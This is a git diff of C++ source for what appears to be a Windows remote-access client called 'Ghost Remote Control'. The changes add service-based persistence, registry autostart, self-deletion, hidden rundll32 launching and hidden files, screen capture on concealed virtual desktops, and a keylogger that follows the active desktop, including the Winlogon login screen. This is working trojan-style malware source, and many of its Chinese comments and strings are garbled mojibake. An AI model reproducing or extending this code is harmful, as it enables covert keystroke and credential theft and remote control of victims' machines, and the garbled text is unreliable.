diff --git a/client/ClientApp.h b/client/ClientApp.h new file mode 100644 index 0000000..b7ef5f9 --- /dev/null +++ b/client/ClientApp.h @@ -0,0 +1,12 @@ + +#pragma once + +class App { +public: + App(){} + virtual ~App(){} + + virtual bool Initialize() = 0; + virtual bool Start(bool block) = 0; + virtual bool Stop() = 0; +}; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 00102b3..09932a5 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -6,23 +6,24 @@ #include extern "C" { #include "reg_startup.h" +#include "ServiceWrapper.h" } -// 自动启动注册表中的值 +// 鑷姩鍚姩娉ㄥ唽琛ㄤ腑鐨勫 #define REG_NAME "a_ghost" -// 启动的客户端个数 +// 鍚姩鐨勫鎴风涓暟 #define CLIENT_PARALLEL_NUM 1 -// 远程地址 +// 杩滅▼鍦板潃 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", {}, 0, 7057226198541618915, {}, }; -// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. -// 因此全局来看只有一个全局变量: g_MyApp +// 鏈缁堝鎴风鍙湁2涓叏灞鍙橀噺: g_SETTINGS銆乬_MyApp锛岃実_SETTINGS浣滀负g_MyApp鐨勬垚鍛. +// 鍥犳鍏ㄥ眬鏉ョ湅鍙湁涓涓叏灞鍙橀噺: g_MyApp ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning); enum { E_RUN, E_STOP, E_EXIT } status; @@ -70,7 +71,7 @@ DWORD WINAPI StartClientApp(LPVOID param) settings.SetServer(ip, port); } if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) { - Mprintf("参数不足: 请提供远程主机IP和端口!\n"); + Mprintf("鍙傛暟涓嶈冻: 璇锋彁渚涜繙绋嬩富鏈篒P鍜岀鍙!\n"); Sleep(3000); } else { app->g_hInstance = GetModuleHandle(NULL); @@ -95,11 +96,11 @@ DWORD WINAPI StartClientApp(LPVOID param) } /** - * @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制) - * @param handles 句柄数组 - * @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个) - * @param timeout 超时时间(毫秒,INFINITE表示无限等待) - * @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败) + * @brief 绛夊緟澶氫釜鍙ユ焺锛堟敮鎸佽秴杩嘙AXIMUM_WAIT_OBJECTS闄愬埗锛 + * @param handles 鍙ユ焺鏁扮粍 + * @param waitAll 鏄惁绛夊緟鎵鏈夊彞鏌勫畬鎴愶紙TRUE=鍏ㄩ儴, FALSE=浠绘剰涓涓級 + * @param timeout 瓒呮椂鏃堕棿锛堟绉掞紝INFINITE琛ㄧず鏃犻檺绛夊緟锛 + * @return 绛夊緟缁撴灉锛圵AIT_OBJECT_0鎴愬姛, WAIT_FAILED澶辫触锛 */ DWORD WaitForMultipleHandlesEx( const std::vector& handles, @@ -107,10 +108,10 @@ DWORD WaitForMultipleHandlesEx( DWORD timeout = INFINITE ) { - const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制(64) + const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 绯荤粺闄愬埗锛64锛 DWORD totalHandles = static_cast(handles.size()); - // 1. 检查句柄有效性 + // 1. 妫鏌ュ彞鏌勬湁鏁堟 for (HANDLE h : handles) { if (h == NULL || h == INVALID_HANDLE_VALUE) { SetLastError(ERROR_INVALID_HANDLE); @@ -118,20 +119,20 @@ DWORD WaitForMultipleHandlesEx( } } - // 2. 如果句柄数≤64,直接调用原生API + // 2. 濡傛灉鍙ユ焺鏁扳墹64锛岀洿鎺ヨ皟鐢ㄥ師鐢烝PI if (totalHandles <= MAX_WAIT) { return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout); } - // 3. 分批等待逻辑 + // 3. 鍒嗘壒绛夊緟閫昏緫 if (waitAll) { - // 必须等待所有句柄完成 + // 蹇呴』绛夊緟鎵鏈夊彞鏌勫畬鎴 for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { DWORD batchSize = min(MAX_WAIT, totalHandles - i); DWORD result = WaitForMultipleObjects( batchSize, &handles[i], - TRUE, // 必须等待当前批次全部完成 + TRUE, // 蹇呴』绛夊緟褰撳墠鎵规鍏ㄩ儴瀹屾垚 timeout ); if (result == WAIT_FAILED) { @@ -140,18 +141,18 @@ DWORD WaitForMultipleHandlesEx( } return WAIT_OBJECT_0; } else { - // 只需等待任意一个句柄完成 + // 鍙渶绛夊緟浠绘剰涓涓彞鏌勫畬鎴 while (true) { for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { DWORD batchSize = min(MAX_WAIT, totalHandles - i); DWORD result = WaitForMultipleObjects( batchSize, &handles[i], - FALSE, // 当前批次任意一个完成即可 + FALSE, // 褰撳墠鎵规浠绘剰涓涓畬鎴愬嵆鍙 timeout ); if (result != WAIT_FAILED && result != WAIT_TIMEOUT) { - return result + i; // 返回全局索引 + return result + i; // 杩斿洖鍏ㄥ眬绱㈠紩 } } if (timeout != INFINITE) { @@ -165,11 +166,11 @@ DWORD WaitForMultipleHandlesEx( #include "auto_start.h" -// 隐藏控制台 -// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647 -// step1: 在链接器"高级"设置入口点为mainCRTStartup -// step2: 在链接器"系统"设置系统为窗口 -// 完成 +// 闅愯棌鎺у埗鍙 +// 鍙傜湅锛歨ttps://blog.csdn.net/lijia11080117/article/details/44916647 +// step1: 鍦ㄩ摼鎺ュ櫒"楂樼骇"璁剧疆鍏ュ彛鐐逛负mainCRTStartup +// step2: 鍦ㄩ摼鎺ュ櫒"绯荤粺"璁剧疆绯荤粺涓虹獥鍙 +// 瀹屾垚 BOOL CALLBACK callback(DWORD CtrlType) { @@ -181,17 +182,94 @@ BOOL CALLBACK callback(DWORD CtrlType) return TRUE; } + +void PrintUsage() { + Mprintf("Ghost Remote Control\n"); + Mprintf("Usage:\n"); + Mprintf(" ghost.exe -install Install as Windows service\n"); + Mprintf(" ghost.exe -uninstall Uninstall service\n"); + Mprintf(" ghost.exe -service Run as service (internal use)\n"); + Mprintf(" ghost.exe -agent Run as agent (launched by service)\n"); + Mprintf(" ghost.exe Run as normal application (debug mode)\n"); + Mprintf("\n"); +} + +extern "C" BOOL RunAsAgent(BOOL block) { + return g_MyApp.Run(block ? true : false) ? TRUE : FALSE; +} + +bool RunService(int argc, const char* argv[]) { + g_ServiceDirectMode = FALSE; + + if (argc == 1) { // 鏃犲弬鏁版椂锛屼綔涓烘湇鍔″惎鍔 + BOOL registered = FALSE; + BOOL running = FALSE; + char servicePath[MAX_PATH] = {0}; + ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH); + char curPath[MAX_PATH]; + GetModuleFileName(NULL, curPath, MAX_PATH); + if (registered && strcmp(curPath, servicePath) != 0) { + Mprintf("RunService Uninstall: %s\n", servicePath); + ServiceWrapper_Uninstall(); + registered = FALSE; + } + if (!registered) { + Mprintf("RunService Install: %s\n", curPath); + ServiceWrapper_Install(); + } else if (!running) { + int r = ServiceWrapper_Run(); + Mprintf("RunService Run '%s' %s\n", curPath, r==ERROR_SUCCESS ? "succeed" : "failed"); + if (r) { + r = ServiceWrapper_StartSimple(); + Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed"); + } + } + return true; + } + else if (argc > 1) { + if (_stricmp(argv[1], "-install") == 0) { + ServiceWrapper_Install(); + return true; + } + else if (_stricmp(argv[1], "-uninstall") == 0) { + ServiceWrapper_Uninstall(); + return true; + } + else if (_stricmp(argv[1], "-service") == 0) { + ServiceWrapper_Run(); + return true; + } + else if (_stricmp(argv[1], "-agent") == 0) { + RunAsAgent(true); + return true; + } + else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) { + PrintUsage(); + return true; + } + } + + return false; +} + int main(int argc, const char *argv[]) { - // 注册启动项 - int r = RegisterStartup("Windows Ghost", "WinGhost"); + bool isService = g_SETTINGS.iStartup == Startup_GhostMsc; + // 娉ㄥ唽鍚姩椤 + int r = RegisterStartup("Windows Ghost", "WinGhost", !isService); if (r <= 0) { BOOL s = self_del(); if (!IsDebug)return r; } if (!SetSelfStart(argv[0], REG_NAME)) { - Mprintf("设置开机自启动失败,请用管理员权限运行.\n"); + Mprintf("璁剧疆寮鏈鸿嚜鍚姩澶辫触锛岃鐢ㄧ鐞嗗憳鏉冮檺杩愯.\n"); + } + + if (isService) { + bool ret = RunService(argc, argv); + Mprintf("RunService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc); + if (ret) return 0x20251123; } status = E_RUN; @@ -207,7 +285,7 @@ int main(int argc, const char *argv[]) SetConsoleCtrlHandler(&callback, TRUE); const char* ip = argc > 1 ? argv[1] : NULL; - int port = argc > 2 ? atoi(argv[2]) : 0; + int port = argc > 2 ? atoi(argv[2]) : 6543; ClientApp& app(g_MyApp); app.g_Connection->SetType(CLIENT_TYPE_ONE); app.g_Connection->SetServer(ip, port); @@ -215,7 +293,7 @@ int main(int argc, const char *argv[]) g_SETTINGS.SetServer(ip, port); #endif if (CLIENT_PARALLEL_NUM == 1) { - // 启动单个客户端 + // 鍚姩鍗曚釜瀹㈡埛绔 StartClientApp(&app); } else { std::vector handles(CLIENT_PARALLEL_NUM); @@ -223,12 +301,12 @@ int main(int argc, const char *argv[]) auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE); handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0); if (handles[i] == 0) { - Mprintf("线程 %d 创建失败,错误: %d\n", i, errno); + Mprintf("绾跨▼ %d 鍒涘缓澶辫触锛岄敊璇: %d\n", i, errno); } } DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE); if (result == WAIT_FAILED) { - Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError()); + Mprintf("WaitForMultipleObjects 澶辫触锛岄敊璇唬鐮: %d\n", GetLastError()); } } ClientApp::Wait(); @@ -276,7 +354,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, return TRUE; } -// 启动运行一个ghost +// 鍚姩杩愯涓涓猤host extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { ClientApp& app(g_MyApp); @@ -302,25 +380,25 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) CloseHandle(hThread); } -// 停止运行 +// 鍋滄杩愯 extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; } -// 是否成功停止 +// 鏄惁鎴愬姛鍋滄 extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; } -// 是否退出客户端 +// 鏄惁閫鍑哄鎴风 extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; } -// 简单运行此程序,无需任何参数 +// 绠鍗曡繍琛屾绋嬪簭锛屾棤闇浠讳綍鍙傛暟 extern "C" __declspec(dllexport) int EasyRun() { ClientApp& app(g_MyApp); @@ -330,11 +408,11 @@ extern "C" __declspec(dllexport) int EasyRun() TestRun((char*)settings.ServerIP(), settings.ServerPort()); while (!IsStoped()) Sleep(50); - if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出 + if (S_CLIENT_EXIT == app.g_bExit) // 鍙楁帶绔鍑 break; else if (S_SERVER_EXIT == app.g_bExit) continue; - else // S_CLIENT_UPDATE: 程序更新 + else // S_CLIENT_UPDATE: 绋嬪簭鏇存柊 break; } while (true); @@ -342,7 +420,7 @@ extern "C" __declspec(dllexport) int EasyRun() } // copy from: SimpleRemoter\client\test.cpp -// 启用新的DLL +// 鍚敤鏂扮殑DLL void RunNewDll(const char* cmdLine) { char path[_MAX_PATH], * p = path; @@ -368,7 +446,7 @@ void RunNewDll(const char* cmdLine) ok = FALSE; } } else { - // 设置文件属性为隐藏 + // 璁剧疆鏂囦欢灞炴т负闅愯棌 if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) { Mprintf("File created and set to hidden: %s\n", oldFile.c_str()); } @@ -385,13 +463,13 @@ void RunNewDll(const char* cmdLine) ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE); } -/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定. -HWND hwnd: 父窗口句柄(通常为 NULL)。 -HINSTANCE hinst: DLL 的实例句柄。 -LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。 -int nCmdShow: 窗口显示状态。 -运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543 -优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。 +/* 杩愯瀹㈡埛绔殑鏍稿績浠g爜. 姝や负瀹氫箟瀵煎嚭鍑芥暟, 婊¤冻 rundll32 璋冪敤绾﹀畾. +HWND hwnd: 鐖剁獥鍙e彞鏌勶紙閫氬父涓 NULL锛夈 +HINSTANCE hinst: DLL 鐨勫疄渚嬪彞鏌勩 +LPSTR lpszCmdLine: 鍛戒护琛屽弬鏁帮紝浣滀负瀛楃涓蹭紶閫掔粰鍑芥暟銆 +int nCmdShow: 绐楀彛鏄剧ず鐘舵併 +杩愯鍛戒护锛歳undll32.exe ClientDemo.dll,Run 127.0.0.1:6543 +浼樺厛浠庡懡浠よ鍙傛暟涓鍙栦富鏈哄湴鍧锛屽鏋滀笉鎸囧畾涓绘満灏变粠鍏ㄥ眬鍙橀噺璇诲彇銆 */ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { @@ -415,7 +493,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz result.push_back("80"); } if (result.size() != 2) { - MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK); + MessageBox(hwnd, "璇锋彁渚涙纭殑涓绘満鍦板潃!", "鎻愮ず", MB_OK); return; } @@ -491,7 +569,7 @@ DWORD WINAPI StartClient(LPVOID lParam) SAFE_DELETE(Manager); Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); - //准备第一波数据 + //鍑嗗绗竴娉㈡暟鎹 LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); ClientObject->SendLoginInfo(login); diff --git a/client/ClientDll.h b/client/ClientDll.h index 0c9bf13..27d4f4a 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -13,6 +13,7 @@ #include #include #include "domain_pool.h" +#include "ClientApp.h" BOOL IsProcessExit(); @@ -22,8 +23,11 @@ BOOL IsSharedRunning(void* thisApp); BOOL IsClientAppRunning(void* thisApp); +DWORD WINAPI StartClientApp(LPVOID param); + // 客户端类:将全局变量打包到一起. -typedef struct ClientApp { +class ClientApp : public App { +public: State g_bExit; // 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件) BOOL g_bThreadExit; // 工作线程状态 HINSTANCE g_hInstance; // 进程句柄 @@ -36,10 +40,14 @@ typedef struct ClientApp { static CLock m_Locker; ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) { - memset(this, 0, sizeof(ClientApp)); + g_bExit = S_CLIENT_NORMAL; + g_bThreadExit = FALSE; + g_hInstance = NULL; g_Connection = new CONNECT_ADDRESS(*conn); + g_hEvent = NULL; m_bIsRunning = run; m_bShared = shared; + m_ID = 0; g_bThreadExit = TRUE; } std::vector GetSharedMasterList() @@ -94,7 +102,26 @@ typedef struct ClientApp { g_bExit = state; m_Locker.Unlock(); } -} ClientApp; + virtual bool Initialize() override { + g_Connection->SetType(CLIENT_TYPE_ONE); + return true; + } + virtual bool Start(bool block) override { + if (block) StartClientApp(this); + else CloseHandle(__CreateThread(0, 0, StartClientApp, this, 0, 0)); + return true; + } + virtual bool Stop() override { + g_bExit = S_CLIENT_EXIT; + return true; + } + bool Run(bool block = true) { + if (!Initialize()) return false; + if (!Start(block)) return false; + if (block) Stop(); + return true; + } +}; ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index e468ed8..16b86fe 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -545,6 +545,8 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) TCHAR WindowCaption[CAPTION_SIZE] = {}; HWND PreviousFocus = NULL; GET_PROCESS(DLLS[USER32], GetAsyncKeyState); + HDESK desktop = NULL; + clock_t lastCheck = 0; while(pThis->m_bIsWorking) { if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) { #if USING_KB_HOOK @@ -555,6 +557,22 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) } Sleep(5); #if USING_KB_HOOK + clock_t now = clock(); + if (now - lastCheck > 1000) { + lastCheck = now; + HDESK hInputDesk = IsDesktopChanged(desktop, DESKTOP_READOBJECTS | + DESKTOP_WRITEOBJECTS | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD); + if (hInputDesk) { + ReleaseHook(); + if (desktop) { + CloseDesktop(desktop); + } + desktop = hInputDesk; + if (!SetThreadDesktop(desktop)) { + Mprintf("SetThreadDesktop failed: %d\n", GetLastError()); + } + } + } if (!SetHook(WriteBuffer, pThis->m_Buffer)) { return -1; } diff --git a/client/Manager.cpp b/client/Manager.cpp index 95acf18..da4b9c8 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -10,7 +10,7 @@ typedef struct { unsigned(__stdcall* start_address)(void*); void* arglist; - bool bInteractive; // 是否支持交互桌面 + bool bInteractive; // 鏄惁鏀寔浜や簰妗岄潰 HANDLE hEventTransferArg; } THREAD_ARGLIST, * LPTHREAD_ARGLIST; @@ -23,7 +23,7 @@ unsigned int __stdcall ThreadLoader(LPVOID param) THREAD_ARGLIST arg; memcpy(&arg, param, sizeof(arg)); SetEvent(arg.hEventTransferArg); - // 与卓面交互 + // 涓庢闈氦浜 if (arg.bInteractive) SelectDesktop(NULL); @@ -110,6 +110,77 @@ BOOL SelectHDESK(HDESK new_desktop) return TRUE; } +HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess) { + if (dwDesiredAccess == 0) { + dwDesiredAccess = DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS; + } + + HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess); + + if (!hInputDesktop) { + Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError()); + + HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS); + if (hWinSta) { + SetProcessWindowStation(hWinSta); + hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess); + if (!hInputDesktop) { + Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError()); + hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess); + if (!hInputDesktop) { + Mprintf("OpenDesktop Default failed: %d\n", GetLastError()); + } + } + } + else { + Mprintf("OpenWindowStation failed: %d\n", GetLastError()); + } + } + return hInputDesktop; +} + +// 杩斿洖鏂版闈㈠彞鏌勶紝濡傛灉娌℃湁鍙樺寲杩斿洖NULL +HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) { + HDESK hInputDesk = OpenActiveDesktop(accessRights); + if (!hInputDesk) return NULL; + + if (!currentDesk) { + return hInputDesk; + } + else { + // 閫氳繃妗岄潰鍚嶇О鍒ゆ柇鏄惁鐪熸鍙樺寲 + char oldName[256] = { 0 }; + char newName[256] = { 0 }; + DWORD len = 0; + GetUserObjectInformationA(currentDesk, UOI_NAME, oldName, sizeof(oldName), &len); + GetUserObjectInformationA(hInputDesk, UOI_NAME, newName, sizeof(newName), &len); + + if (oldName[0] && newName[0] && strcmp(oldName, newName) != 0) { + Mprintf("Desktop changed from '%s' to '%s'\n", oldName, newName); + return hInputDesk; + } + } + CloseDesktop(hInputDesk); + return NULL; +} + +// 妗岄潰鍒囨崲杈呭姪鍑芥暟锛氶氳繃妗岄潰鍚嶇О姣旇緝鍒ゆ柇鏄惁闇瑕佸垏鎹 +// 杩斿洖鍊硷細true琛ㄧず妗岄潰宸插垏鎹紝false琛ㄧず妗岄潰鏈彉鍖 +bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights) +{ + HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights); + + if (hInputDesk) { + if (currentDesk) { + CloseDesktop(currentDesk); + } + currentDesk = hInputDesk; + SetThreadDesktop(currentDesk); + return true; + } + return false; +} + // - SelectDesktop(char *) // Switches the current thread into a different desktop, by name // Calling with a valid desktop name will place the thread in that desktop. @@ -186,7 +257,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize) VOID CManager::WaitForDialogOpen() { WaitForSingleObject(m_hEventDlgOpen, 8000); - //必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间 + //蹇呴』鐨凷leep,鍥犱负杩滅▼绐楀彛浠嶪nitDialog涓彂閫丆OMMAND_NEXT鍒版樉绀鸿繕瑕佷竴娈垫椂闂 Sleep(150); } diff --git a/client/Manager.h b/client/Manager.h index e1fb888..3fa0ec8 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -15,6 +15,12 @@ #define ENABLE_VSCREEN 1 #define ENABLE_KEYBOARD 1 +HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0); + +HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights); + +bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights); + HDESK SelectDesktop(TCHAR* name); std::string GetBotId(); @@ -33,7 +39,7 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD class CManager : public IOCPManager { public: - const State&g_bExit; // 1-被控端退出 2-主控端退出 + const State&g_bExit; // 1-琚帶绔鍑 2-涓绘帶绔鍑 BOOL m_bReady; CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 461efa5..31df49d 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -90,6 +90,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_conn = &g_SETTINGS; InitFileUpload(""); #endif + m_isGDI = TRUE; + m_virtual = FALSE; m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; g_hDesk = nullptr; @@ -113,7 +115,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan std::wstring ConvertToWString(const std::string& multiByteStr) { int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); - if (len == 0) return L""; // 转换失败 + if (len == 0) return L""; // 杞崲澶辫触 std::wstring wideStr(len, L'\0'); MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); @@ -163,7 +165,7 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) if (pszError) { Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); - LocalFree(pszError); // 释放内存 + LocalFree(pszError); // 閲婃斁鍐呭瓨 } if (bCreateProcessReturn) @@ -195,37 +197,47 @@ void CScreenManager::InitScreenSpy() } Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); if (DXGI == USING_VIRTUAL) { + m_virtual = TRUE; HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); if (!hDesk) { if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) { - Mprintf("创建虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + Mprintf("鍒涘缓铏氭嫙灞忓箷鎴愬姛: %s\n", m_DesktopID.c_str()); TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { - Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); + Mprintf("鍚姩璧勬簮绠$悊鍣ㄥけ璐%s]!!!\n", m_DesktopID.c_str()); } } else { - Mprintf("创建虚拟屏幕失败: %s\n", m_DesktopID.c_str()); + Mprintf("鍒涘缓铏氭嫙灞忓箷澶辫触: %s\n", m_DesktopID.c_str()); } } else { - Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + Mprintf("鎵撳紑铏氭嫙灞忓箷鎴愬姛: %s\n", m_DesktopID.c_str()); } if (hDesk) { SetThreadDesktop(g_hDesk = hDesk); } } + else { + HDESK hDesk = OpenActiveDesktop(); + if (hDesk) { + SetThreadDesktop(g_hDesk = hDesk); + } + } if ((USING_DXGI == DXGI && IsWindows8orHigher())) { + m_isGDI = FALSE; auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all); if (s->IsInitSucceed()) { m_ScreenSpyObject = s; } else { SAFE_DELETE(s); + m_isGDI = TRUE; m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all); Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); } } else { + m_isGDI = TRUE; m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all); } } @@ -236,36 +248,56 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) This->InitScreenSpy(); - This->SendBitMapInfo(); //发送bmp位图结构 + This->SendBitMapInfo(); //鍙戦乥mp浣嶅浘缁撴瀯 - // 等控制端对话框打开 + // 绛夋帶鍒剁瀵硅瘽妗嗘墦寮 This->WaitForDialogOpen(); clock_t last = clock(); This->SendFirstScreen(); #if USING_ZLIB - const int fps = 8;// 帧率 + const int fps = 8;// 甯х巼 #else - const int fps = 8;// 帧率 + const int fps = 8;// 甯х巼 #endif - const int sleep = 1000 / fps;// 间隔时间(ms) - int c1 = 0; // 连续耗时长的次数 - int c2 = 0; // 连续耗时短的次数 - float s0 = sleep; // 两帧之间隔(ms) - const int frames = fps; // 每秒调整屏幕发送速度 - const float alpha = 1.03; // 控制fps的因子 + const int sleep = 1000 / fps;// 闂撮殧鏃堕棿锛坢s锛 + int c1 = 0; // 杩炵画鑰楁椂闀跨殑娆℃暟 + int c2 = 0; // 杩炵画鑰楁椂鐭殑娆℃暟 + float s0 = sleep; // 涓ゅ抚涔嬮棿闅旓紙ms锛 + const int frames = fps; // 姣忕璋冩暣灞忓箷鍙戦侀熷害 + const float alpha = 1.03; // 鎺у埗fps鐨勫洜瀛 + clock_t last_check = clock(); timeBeginPeriod(1); while (This->m_bIsWorking) { + // 闄嶄綆妗岄潰妫鏌ラ鐜囷紝閬垮厤棰戠箒鐨凞C閲嶇疆瀵艰嚧闂睆 + if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) { + auto now = clock(); + if (now - last_check > 500) { + last_check = now; + + // 浣跨敤鍏叡鍑芥暟妫鏌ュ苟鍒囨崲妗岄潰锛堟棤闇鍐欐潈闄愶級 + if (SwitchToDesktopIfChanged(This->g_hDesk, 0)) { + // 妗岄潰鍙樺寲鏃堕噸缃睆骞曟崟鑾风殑DC + if (This->m_ScreenSpyObject) { + CScreenSpy* spy = dynamic_cast(This->m_ScreenSpyObject); + if (spy) { + spy->ResetDesktopDC(); + } + } + } + } + } + ULONG ulNextSendLength = 0; const char* szBuffer = This->GetNextScreen(ulNextSendLength); if (szBuffer) { - s0 = max(s0, 50); // 最快每秒20帧 + s0 = max(s0, 50); // 鏈蹇瘡绉20甯 s0 = min(s0, 1000); int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); - if (span < 0) { // 发送数据耗时较长,网络较差或数据较多 + if (span < 0) { // 鍙戦佹暟鎹楁椂杈冮暱锛岀綉缁滆緝宸垨鏁版嵁杈冨 c2 = 0; - if (frames == ++c1) { // 连续一定次数耗时长 + if (frames == ++c1) { // 杩炵画涓瀹氭鏁拌楁椂闀 s0 = (s0 <= sleep*4) ? s0*alpha : s0; c1 = 0; #ifdef _DEBUG @@ -273,9 +305,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif } - } else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小 + } else if (span > 0) { // 鍙戦佹暟鎹楁椂姣攕0鐭紝琛ㄧず缃戠粶杈冨ソ鎴栨暟鎹寘杈冨皬 c1 = 0; - if (frames == ++c2) { // 连续一定次数耗时短 + if (frames == ++c2) { // 杩炵画涓瀹氭鏁拌楁椂鐭 s0 = (s0 >= sleep/4) ? s0/alpha : s0; c2 = 0; #ifdef _DEBUG @@ -296,14 +328,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) VOID CScreenManager::SendBitMapInfo() { - //这里得到bmp结构的大小 + //杩欓噷寰楀埌bmp缁撴瀯鐨勫ぇ灏 const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE); if (szBuffer == NULL) return; szBuffer[0] = TOKEN_BITMAPINFO; - //这里将bmp位图结构发送出去 + 